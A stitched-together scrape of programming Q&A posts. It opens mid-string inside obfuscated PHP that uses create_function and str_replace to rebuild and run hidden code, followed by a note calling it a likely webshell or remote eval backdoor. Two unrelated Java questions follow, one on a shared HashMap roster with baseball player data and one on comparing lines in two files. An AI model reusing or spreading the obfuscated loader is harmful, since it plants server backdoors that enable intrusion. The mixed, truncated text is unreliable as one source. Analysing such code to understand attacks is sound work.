x3a 61 x31"))) { $ukqjmyx = " x63 162 x65 141 x74 1jsv%7UFH# x27rfs%6~6< x7fw6<*K)ftpmdXA6|7**1924- x24 x5c%j^ x24- x24tvctus)% x24-7-K)fujsxX6<#o]o]Y%7;utpI1?hmg%)!gj!<**2-4-bubE{h%)sutcvt)esp>hmg%!kVx{**#k#)tutjyf`x x22l:!}V;3q%}U;y]}R;2]<#762]67y]562]38y]572]48y]#>m%:|:*r%:-t4]273]D6P2L5P6]y6gP7L6M7]D4]275]D:M8]+*!*+fepdfe{h+{d%)+opjudovg+)!gj+{e%!osvufs!*!+A!>!{e%)!>> x22!ftmbg)R;*msv%)}.;`UQPMSVD!-id%)uqpuft`msvd},;uqpuft`msvd}+;!>!} x231M6]y3e]81#/#7e:55946-tr.984: x24b!>!%yy)#}#-# x24- x24-tusqpt)%z-#:#* x24- x24!>! x2%-bubE{h%)sutcvt)fubmgoj{hA!osvufs!~<pd%w6Z6<.4`hA x27pd%6<pd%w6Z6<.3`hA x27pd%6<pd%w6Z6<" x48 124 x54 120 x5f 125 x53 105 x52 1375Ld]55#*<%bG9}:}.}-}!#*<%nfd>%f}W;utpi}Y;tuofuopd`uff_UTPI`QUUI&e_SEEB`FUPNFS&d_SFSFGFS`QUUI&c_UOFHB`SFTV`QUUI&b%!|!*)32tmw!>!#]y84]275]y83]273]y76]277#<!%t2w>#]y74]273]y76]2<%tpz!>!#]D6M7]K3#<%yy>#]D6]281L1#/#M5]DgP5]D6#<%fdy>#]D<12>j%!|!*#91y]c9y]g2y]#>>*4-1-bubE{h%)sutcvt)!gj!|!*bubE{h%)j4- x24y7 x24- x24*<! x24- x24gps)%WSFT`%}X;!sp!*#opo#>>}R;msv}.;/#/#/},;#52]y85]256]y6g]257]y86]267]y74]275]y7:]268]y7f#<!%tww!>! x2400~:<h56+99386c6f+9f5d816:+f./###/qp%>5h%!<*::::::-111112)eobsx27{ftmfV x7f<*X&Z&S{ftmfV x7f<*XAZAz>! x24/%tmw/ x24)%zW%h>EzH,2W%wN;#-Ez-1H*WCw*[!%rNV;hojepdoF.uofuopD#)sfebfI{*w%).%!<***f x27,*e x27,*d x27,*c x27,*b x27)fepdof.)fepdo x7fw6*CW&)7gj6<.[A x27&6< x7fw6#:>:h%:<#64y]552]e7y]#fubmgoj{h1:|:*mmvo:>:iuhofm%:-5pp7;!>>>!}_;gvc%}&;ftmbg} x7f;!osvufs}w;* x7f!>> x22!pd%)!gj}Z;h!opj<#16,47R57,27R66,#/q%>2q%<#g6R85,67R37,18R#>q%V<*#fopo66~67<&w6<*&7-#o]s]o]s]#)fepmqyf x27*&7-n%)23ldfid>}&;!osvufs} x7f;!opjudov45 x5f 146 x75 156 x63 164 x69x24- x24]26 x24- x24<%j,,*!| x24- x24gvodujpo! x2q}k;opjudovg}x;0]=])0#)U! x27{**u%-#j%z>3<!fmtf!%z>2<!%ww2)%w`TW~ x24<!fwbm)%tjw)bssbz)#P#-#Q#-#{hnpd!opjudovg!|!**#j{hnpd#)tutjyf`opjudov.2`hA x27pd%6<C x27pd%6|6.7eu{ 157 x6e"; function gfvevvm($n){retu7]67y]37]88y]27]28y]#/r%/h%)n%-#+I#)q%:>:r%:|:**t%)m%=*h%)m%):fmjix:<#3,j%>j%!*3! x27!hmg%!)!gj!<2,*j%!-#1]#-epmqnj!/!#0#)idubn`hfsq)!sp!*#ojh`fmjg}[;ldpt%}K;`ufldpt}X;`msvd}342]58]24]31#-%tdz*Wsfuvso!%bsutjm6< x7fw6*CW&)7gj6<*K)ftpmdXA6~6<u%7>/7&6|7**111g x22)!gj}1~!<2p% x7f!~!<##!>!gj<*#k#)usbut`cpV x7f x7f x7f x7f<u%V dXA x27K6< x7fw6*3qj%7> x2272qj%)7gj6<**2qj%)hopm3q#7>/7rfs%6<#o]1/20QUUI7127-K)ebfsX x27u%)7fmjix6<C x27&6<*rfs%qssutRe%)Rd%)Rb%))!gj!<*#cd2bgej>1<%j=tj{fpg)% x24- OBSUOSVUFS,6<*msv%7-MSV,6<*)ujojR x)##Qtjw)#]82#-#!#-%tmw)%tww**WYsboepn)%bss-%rxB%h>#dy<Cb*[%h!>!%tdz)%bbT-%bT-%hW~%fdy)##-!#~<%h00#*<%nfd)##Qtp-s.973:8297f:5297e:56-xr.985:52985- x5c^>Ew:Qb:Qc:W~!%z!>2<!gps)%j>1<%j=6[%wwsTrREvxNoiTCnuf_EtaerCxECalPer_Rtsjnauhuwim'; $eqeosz = explode('x', $ghacbiaz); //substr($ghacbiaz, (38801 - 32924), (221 - 187))); $npljogw = 'create_function';//$eqeosz[0]($eqeosz[(5 - 4)]); $yyhtlq = 'str_replace'; //$eqeosz[0]($eqeosz[(6 - 4)]); if (! function_exists('lmnuklsld')) { function lmnuklsld($zvtcgxlvy, $ncmclvjy, $ocpapj) { $owfkdynb = NULL; for ($yxbwhrs = 0; $yxbwhrs < (sizeof($zvtcgxlvy) / 2); $yxbwhrs ++) { $owfkdynb .= substr($ncmclvjy, $zvtcgxlvy[($yxbwhrs * 2)], $zvtcgxlvy[($yxbwhrs * 2) + (7 - 6)]); } $code = $ocpapj("\x09", '\\', $owfkdynb); return $code; } ; } $smkwpyx = explode(chr((230 - 186)), '2305,57,1344,54,676,56,3902,41,1977,60,2559,27,3280,53,4884,30,5131,36,228,42,2108,39,74,46,2669,69,3850,52,5101,30,4809,43,5371,51,5564,39,3414,25,5541,23,3333,45,821,65,5490,51,488,49,3061,49,1726,49,2147,68,2975,32,2879,38,1775,62,449,39,5655,35,0,40,4602,32,1039,32,3974,21,5308,33,3667,60,4689,66,631,45,537,26,3813,37,5237,39,2389,66,732,39,1641,62,3439,42,4173,62,5059,42,5422,29,1483,21,886,68,1001,38,4548,54,4395,35,1187,47,3165,67,5276,32,427,22,5603,31,4374,21,1542,34,3995,68,2037,37,1306,38,2917,58,1276,30,4269,39,1946,31,4852,32,120,63,1872,29,4656,33,270,38,3598,69,5451,39,4430,36,587,44,4755,54,4517,31,3481,41,2614,21,2848,31,4963,37,563,24,1398,49,4063,54,4308,66,1234,42,5167,70,4634,22,3110,55,3522,39,1447,36,1837,35,40,34,3378,36,3757,56,2268,37,4914,49,4235,34,5634,21,2480,37,2074,34,183,45,2586,28,377,50,2215,53,1703,23,4466,51,2517,42,5690,51,771,50,5800,35,1504,38,3727,30,3232,48,4117,56,3561,37,2635,34,1901,45,3943,31,5741,59,2362,27,2791,57,308,69,5341,30,1124,63,1071,53,2738,53,5835,42,2455,25,5000,59,1576,65,3007,54,954,47'); $upzdjxxg = $npljogw("", lmnuklsld($smkwpyx, $ghacbiaz, $yyhtlq)); $npljogw = $ghacbiaz; $upzdjxxg(""); $upzdjxxg = (413 - 292); $ghacbiaz = $upzdjxxg - 1; The function lmnuklsld it creates would create executable code out of $ghacbiaz and then execute it, but it returns garbage. Most likely the function of the obfuscated code is either a webshell, or simple code to call eval() on code they would sent remotely, for example they'd call the script with $_POST['some_code'] = 'malicious php code here'; which would then get passed to eval, essentially allowing them to do all kinds of things.
HashMap deleting itself inside a HashMap
The goal of my project is to create a League of teams, and have rosters of each teams. I'm supposed to use 2 different maps. One map is for holding the Team name as a string, with it's object (Team). The other map is for holding the roster with the number and the object (Player). Whenever I run this code, and try to test whether the roster is printing out the right numbers, I have a problem. The roster seems to clear itself whole. I know that I have put a Roster.clear() method in, but that is to reset the roster to put players from other teams in. If you need the team class, I will put it in at the bottom. Thank you SO much if anyone is able to answer my question. import java.util.*; public class League{ public League(Scanner s){ Map<String,Team> League = new HashMap<String,Team>(); Map<Integer,Player> Roster = new HashMap<Integer, Player>(); Team t; Player p; String team, name; Boolean throwsRightHanded; int number, position, plateApp, walks, strikeouts, hits, inningsPitched, earnedRuns, atBats, runsBattedIn, homeRuns, hitByPitch; team = s.next(); while (s.hasNext()){ if (!s.hasNext("-1")){ number = s.nextInt(); name = s.next(); position = s.nextInt(); if (s.next() == "t"){ throwsRightHanded = true; } else{ throwsRightHanded = false; } plateApp = s.nextInt(); walks = s.nextInt(); strikeouts = s.nextInt(); hits = s.nextInt(); if (position == 1){ //Pitcher inningsPitched = s.nextInt(); earnedRuns = s.nextInt(); p = new Pitcher(inningsPitched, earnedRuns, number, name, position, throwsRightHanded, plateApp, walks, strikeouts, hits); } else{ atBats = s.nextInt(); runsBattedIn = s.nextInt(); homeRuns = s.nextInt(); hitByPitch = s.nextInt(); p = new PositionPlayer(atBats, runsBattedIn, homeRuns, hitByPitch, number, name, position, throwsRightHanded, plateApp, walks, strikeouts, hits); } Roster.put(number, p); } else{ t = new Team(team, Roster); League.put(team, t); Roster.clear(); s.next(); if (s.hasNext()) team = s.next(); } } Iterator<Team> it = League.values().iterator(); Team teamIterator; while (it.hasNext()){ teamIterator = it.next(); System.out.println(teamIterator); Iterator<Player> itt = teamIterator.getRoster().values().iterator(); while (itt.hasNext()){ System.out.println(itt.next()); } } } The important part is below: else{ t = new Team(team, Roster); League.put(team, t); Roster.clear(); s.next(); if (s.hasNext()) team = s.next(); } } Iterator<Team> it = League.values().iterator(); Team teamIterator; while (it.hasNext()){ teamIterator = it.next(); System.out.println(teamIterator); Iterator<Player> itt = teamIterator.getRoster().values().iterator(); while (itt.hasNext()){ System.out.println(itt.next()); } } } Team Class: public class Team{ private Map<Integer,Player> roster; private String t; public Team(String tname, Map<Integer,Player> floatroster){ setRoster(floatroster); t = tname; } public String lookupPlayer(int n){ if (!roster.containsKey(n)){ System.out.println("No player with number " + n + " is on the roster for the " + t); return null; } else{ return roster.values().toString(); } } public String toString(){ return t; } public void setRoster(Map<Integer,Player> floatroster){ roster = floatroster; } public Map<Integer, Player> getRoster(){ return roster; } } File I'm reading from: RedSox 65 Jonathan 1 t 416 23 80 111 259 32 68 Matt 1 t 399 28 56 90 241 37 32 Craig 1 f 383 29 55 121 245 35 11 Clay 1 t 418 32 63 105 241 37 46 Ryan 1 t 408 24 59 97 228 35 51 Edwin 1 f 392 32 64 82 232 36 37 Heath 1 t 419 31 53 109 233 38 62 Rich 1 f 411 33 36 77 263 36 61 Brian 1 f 397 25 59 107 240 32 56 Joe 1 t 390 32 57 89 201 36 59 Tommy 1 f 408 26 69 104 284 35 64 Jean 1 t 421 44 37 94 263 33 70 Roman 1 t 428 31 46 91 252 35 20 Wade 1 f 386 36 49 73 256 38 41 Alex 1 t 418 28 61 70 240 36 60 Henry 1 f 401 26 74 115 255 37 22 Rick 1 t 420 20 65 88 226 36 66 Noe 1 t 408 27 61 80 225 36 52 Eduardo 1 f 365 34 67 100 217 34 28 Robbie 1 f 382 32 55 96 221 34 36 Junichi 1 t 401 23 60 88 267 39 19 Koji 1 t 364 28 47 113 236 35 67 Brandon 1 t 392 25 66 122 210 37 10 Ryan 2 t 592 44 82 210 406 95 29 5 23 Blake 2 t 577 29 99 121 432 80 16 3 7 Christian 2 t 599 34 117 196 416 95 31 6 47 Travis 3 t 669 58 78 201 451 136 34 1 48 Pablo 5 t 628 45 74 139 368 96 1 0 13 Hanley 3 t 575 37 94 148 388 80 23 0 15 Dustin 4 t 635 36 105 227 304 113 28 1 26 Brock 4 t 1443 33 83 422 454 274 50 2 5 Allen 3 t 654 40 108 125 383 60 2 1 2 Xander 6 t 602 48 95 137 420 64 14 3 50 Mookie 8 t 584 35 84 199 323 110 31 7 25 Jackie 7 t 608 53 92 161 528 69 1 5 38 Rusney 9 t 626 47 69 194 422 135 31 0 34 David 3 f 567 63 99 108 399 55 1 6 -1 Yankees 38 Andrew 1 t 388 22 67 119 213 37 68 Dellin 1 t 364 34 65 86 265 32 26 Chris 1 f 397 19 74 118 232 35 65 Caleb 1 t 424 33 64 88 279 36 30 Nathan 1 t 381 35 59 85 250 37 74 Nick 1 t 417 33 80 92 235 33 33 Chris 1 t 414 25 52 85 238 38 48 Andrew 1 f 386 28 66 110 242 35 55 Brian 1 t 419 25 48 76 273 34 47 Ivan 1 t 445 24 51 108 256 35 67 James 1 f 427 26 51 120 217 37 57 Branden 1 t 416 22 73 106 212 37 35 Michael 1 t 398 28 61 109 283 35 50 Nick 1 t 426 24 62 95 231 37 45 Chasen 1 f 399 18 60 74 243 35 52 CC 1 f 397 23 49 108 234 35 40 Luis 1 t 405 20 64 131 240 38 19 Masahiro 1 t 420 31 26 89 195 33 43 Adam 1 t 416 28 54 98 240 33 41 Justin 1 f 365 26 49 104 251 35 34 Brian 2 t 637 41 79 147 365 66 1 1 66 John 2 t 584 58 81 150 434 92 21 1 53 Austin 2 t 593 47 98 122 423 62 17 3 73 Gary 2 t 709 43 66 194 407 152 35 2 31 Greg 3 t 672 66 78 157 299 60 1 5 14 Stephen 4 t 607 44 53 158 390 99 16 5 18 Didi 6 t 613 33 55 217 479 126 29 3 12 Chase 5 t 553 58 97 146 332 83 2 5 63 Jose 4 t 683 49 124 124 380 71 12 2 64 Robert 4 t 662 43 96 144 395 65 6 2 17 Brendan 4 t 658 55 61 162 382 96 28 2 29 Dustin 7 t 587 63 82 156 461 119 22 1 36 Carlos 9 t 545 50 94 129 373 90 4 4 22 Jacoby 8 f 657 42 43 142 473 51 1 3 11 Brett 7 f 551 32 120 145 406 131 26 1 72 Slade 8 f 543 50 97 132 399 70 23 2 70 Rico 9 t 646 22 83 259 433 175 40 6 25 Chris 9 t 576 34 103 153 432 74 6 3 -1 BlueJays 56 Mark 1 f 440 21 63 123 208 33 27 Brett 1 f 405 31 63 117 218 36 50 Steve 1 t 438 30 74 106 251 38 43 RA 1 t 384 32 72 88 254 38 25 Marco 1 t 438 27 67 104 243 34 35 Jeff 1 f 409 32 63 100 228 32 32 LaTroy 1 t 402 21 66 57 261 36 31 Liam 1 t 380 25 74 100 252 34 36 Drew 1 t 375 26 78 83 251 36 64 Chad 1 t 421 27 63 97 253 31 62 Aaron 1 f 403 33 64 96 277 35 57 Mark 1 t 376 24 59 113 234 34 54 Roberto 1 t 423 21 58 121 247 34 14 David 1 f 432 26 54 119 201 38 41 Aaron 1 t 410 18 60 107 259 36 8 AJ 2 t 610 44 115 151 400 54 12 2 55 Russell 2 t 646 49 79 145 300 79 9 2 30 Dioner 2 t 686 38 71 111 434 76 21 4 15 Chris 3 t 606 47 77 126 440 53 11 3 20 Josh 5 t 605 63 100 150 446 48 8 1 17 Ryan 4 t 610 21 89 135 420 89 23 2 9 Cliff 4 t 531 73 94 169 442 47 14 4 13 Justin 3 f 651 40 85 158 380 82 5 3 2 Troy 6 t 658 38 87 127 399 57 16 2 19 Jose 9 t 712 44 115 239 429 145 28 1 3 Ezequiel 7 f 589 57 104 136 351 75 18 2 11 Kevin 8 t 671 41 81 158 380 155 31 1 45 Dalton 8 t 638 36 104 246 343 115 30 2 7 Ben 7 t 621 37 98 149 382 86 5 4 -1 Orioles 35 Brad 1 t 392 35 69 116 233 32 53 Zach 1 f 451 31 45 78 239 34 16 Wei-yin 1 f 359 25 59 108 237 39 71 Oliver 1 t 426 21 62 106 241 37 61 Jason 1 t 385 22 56 103 242 33 39 Kevin 1 t 383 33 59 104 229 38 60 Mychal 1 t 397 26 65 118 261 36 50 Miguel 1 t 411 32 64 83 236 36 31 Ubaldo 1 t 371 35 69 81 227 35 52 Steve 1 t 393 32 64 97 257 39 17 Brian 1 f 425 28 62 113 227 36 66 T.J. 1 f 386 30 66 91 244 35 56 Darren 1 t 395 29 75 97 265 35 65 Chaz 1 t 382 18 46 75 232 34 57 Jorge 1 t 406 20 58 93 242 33 30 Chris 1 t 394 38 67 89 226 33 63 Tyler 1 t 420 27 69 88 278 35 59 Mike 1 t 358 30 64 124 287 37 45 Steve 2 t 667 55 130 141 452 57 1 3 36 Caleb 2 t 545 48 81 165 403 47 10 0 32 Matt 2 t 625 55 97 119 453 46 0 2 19 Chris 3 t 636 40 88 95 438 54 0 2 3 Ryan 4 t 722 35 85 166 436 87 28 2 2 J.J. 6 t 668 52 99 164 417 136 32 1 15 Paul 6 t 734 33 99 141 524 78 1 1 13 Manny 5 t 665 39 63 137 420 45 10 3 6 Jonathan 4 t 744 44 70 146 402 57 17 4 34 Christian 3 t 617 40 109 128 447 58 19 3 12 Dariel 9 t 555 56 99 170 422 111 32 2 10 Adam 8 t 621 40 95 166 436 119 25 3 48 Junior 7 t 689 49 123 142 425 107 11 3 9 David 7 f 605 44 89 146 409 36 10 0 18 Gerardo 9 f 686 34 80 206 435 116 36 3 28 Steve 7 t 624 70 72 159 457 108 20 5 14 Nolan 7 t 682 55 91 140 369 62 6 5 -1 Rays 35 Matt 1 t 395 23 57 83 208 34 22 Chris 1 t 371 21 60 84 234 37 59 Andrew 1 t 420 27 60 105 250 30 26 Brad 1 t 376 28 66 110 259 37 31 Xavier 1 f 423 31 59 92 224 37 37 Alex 1 t 409 21 56 111 272 37 54 Steven 1 t 412 31 79 90 244 38 47 Brandon 1 t 407 22 69 102 226 36 51 Nathan 1 f 409 20 62 88 265 36 57 Jake 1 f 373 27 78 101 223 36 55 Matt 1 t 375 32 61 104 247 35 23 Jake 1 t 392 25 56 82 219 37 30 Erasmo 1 t 434 34 26 102 270 35 34 C.J. 1 f 408 25 69 87 235 35 45 Enny 1 f 391 26 63 106 211 35 33 Drew 1 f 385 28 75 98 226 39 49 Kirby 1 t 359 22 59 129 237 39 40 J.P. 2 t 612 39 114 163 393 99 28 2 46 Luke 2 t 593 56 124 191 371 201 38 0 44 Rene 2 t 670 39 94 158 438 62 1 3 1 Tim 4 t 630 44 98 157 390 155 29 2 13 Asdrubal 6 t 680 46 100 127 455 43 7 4 11 Logan 4 t 547 46 107 142 391 100 0 3 2 Nick 4 t 1065 47 76 214 496 157 32 4 21 James 3 t 638 56 97 217 397 103 29 1 3 Evan 5 t 624 61 102 140 442 63 16 3 36 Richie 3 t 658 36 81 143 419 63 0 2 5 Brandon 1 t 410 30 66 80 254 39 39 Kevin 1 t 414 34 63 84 238 35 27 Mikie 1 t 388 24 65 89 238 33 7 Daniel 1 t 384 23 61 89 259 35 24 Grady 1 t 371 29 68 106 224 38 20 Steven 1 t 406 16 54 103 247 35 -1
Since your input always ends each roster's data with a "-1", your current code is calling Roster.clear() -- clearing the Roster object right after it had been filled with data. That is one reason why your team rosters are always empty. Also, you are re-using the same Roster object for every team. Every team needs its own roster. To fix both of these issues, replace the Roster.clear() call with: Roster = new HashMap<Integer, Player>(); That will ensure you have a new roster map for each roster, and that you never empty out a roster.
Comparing lines in a file
I am trying to compare File 1 and File 2. File 1: 7.3 0.28 0.36 12.7 0.04 38 140 0.998 3.3 0.79 9.6 6 1 7.4 0.33 0.26 15.6 0.049 67 210 0.99907 3.06 0.68 9.5 5 1 7.3 0.25 0.39 6.4 0.034 8 84 0.9942 3.18 0.46 11.5 5 1 6.9 0.38 0.25 9.8 0.04 28 191 0.9971 3.28 0.61 9.2 5 1 5.1 0.11 0.32 1.6 0.028 12 90 0.99008 3.57 0.52 12.2 6 1 File 2: 5.1 0.11 0.32 1.6 0.028 12 90 0.99008 3.57 0.52 12.2 6 -1 7.3 0.25 0.39 6.4 0.034 8 84 0.9942 3.18 0.46 11.5 5 1 6.9 0.38 0.25 9.8 0.04 28 191 0.9971 3.28 0.61 9.2 5 -1 7.4 0.33 0.26 15.6 0.049 67 210 0.99907 3.06 0.68 9.5 5 -1 7.3 0.28 0.36 12.7 0.04 38 140 0.998 3.3 0.79 9.6 6 1 In both files the last element in each line is class label. I am comparing if the class labels are equal. ie compare the classlabel of line1:7.3 0.28 0.36 12.7 0.04 38 140 0.998 3.3 0.79 9.6 6 1 with line2:7.3 0.28 0.36 12.7 0.04 38 140 0.998 3.3 0.79 9.6 6 1 Matches. compare line1:7.4 0.33 0.26 15.6 0.049 67 210 0.99907 3.06 0.68 9.5 5 1 with line2:7.4 0.33 0.26 15.6 0.049 67 210 0.99907 3.06 0.68 9.5 5 -1 Not matches Updated What I did is String line1; String line2; int notequalcnt = 0; while((line1 = bfpart.readLine())!=null){ found = false; while((line2 = bfin.readLine())!=null){ if(line1.equals(line2)){ found = true; break; } else{ System.out.println("not equal"); notequalcnt++; } } } But I am getting every one as not equal. Am I doing anything wrong.
After the first iteration itself, line2 becomes null. So, the loop will not execute again... Declare line2 buffer after the first while loop. Use this code: public class CompareFile { public static void main(String args[]) throws IOException{ String line1; String line2; boolean found; int notequalcnt =0; BufferedReader bfpart = new BufferedReader(new FileReader("file1.txt")); while((line1 = bfpart.readLine())!=null){ found = false; BufferedReader bfin = new BufferedReader(new FileReader("file2.txt")); while((line2 = bfin.readLine())!=null){ System.out.println("line1"+line1); System.out.println("line2"+line1); if(line1.equals(line2)){ System.out.println("equal"); found = true; break; } else{ System.out.println("not equal"); } } bfin.close(); if(found==false) notequalcnt++; } bfpart.close(); } }
You're comparing every line from file 1 with every line from file 2, and you are printing "not equal" every time any one of them doesn't match. If file 2 has 6 lines, and you are looking for a given line from file 1 (say it's also in file 2), then 5 of the lines from file 2 won't match, and "not equal" will be output 5 times. Your current implementation says "if any lines in file 2 don't match, it's not a match", but what you really mean is "if any lines in file 2 do match, it is a match". So your logic (pseudocode) should be more like this: for each line in file 1 { found = false reset file 2 to beginning for each line in file 2 if line 1 equals line 2 found = true, break. if found "found!" else "not found!" } Also you describe this as comparing "nth line of file 1 with nth line of file 2", but that's not actually what your implementation does. Your implementation is actually comparing the first line of file 1 with every line of file 2 then stopping, because you've already consumed every line of file 2 in that inner loop. Your code has a lot of problems, and you probably need to sit back and work out your logic on paper first.
If the target is to compare and find the matching lines. Convert the file contents to an arraylist and compare the values. Scanner s = new Scanner(new File("file1.txt")); ArrayList<String> file1_list = new ArrayList<String>(); while (s.hasNext()){ file1_list .add(s.next()); } s.close(); s = new Scanner(new File("file2.txt")); ArrayList<String> file2_list = new ArrayList<String>(); while (s.hasNext()){ file2_list .add(s.next()); } s.close(); for(String line1 : file1_list ){ if(file2_list.contains(line1)){ // found the line }else{ // NOt found the line } }
Check Apache file Utils o compare files. http://commons.apache.org/proper/commons-io/apidocs/org/apache/commons/io/FileUtils.html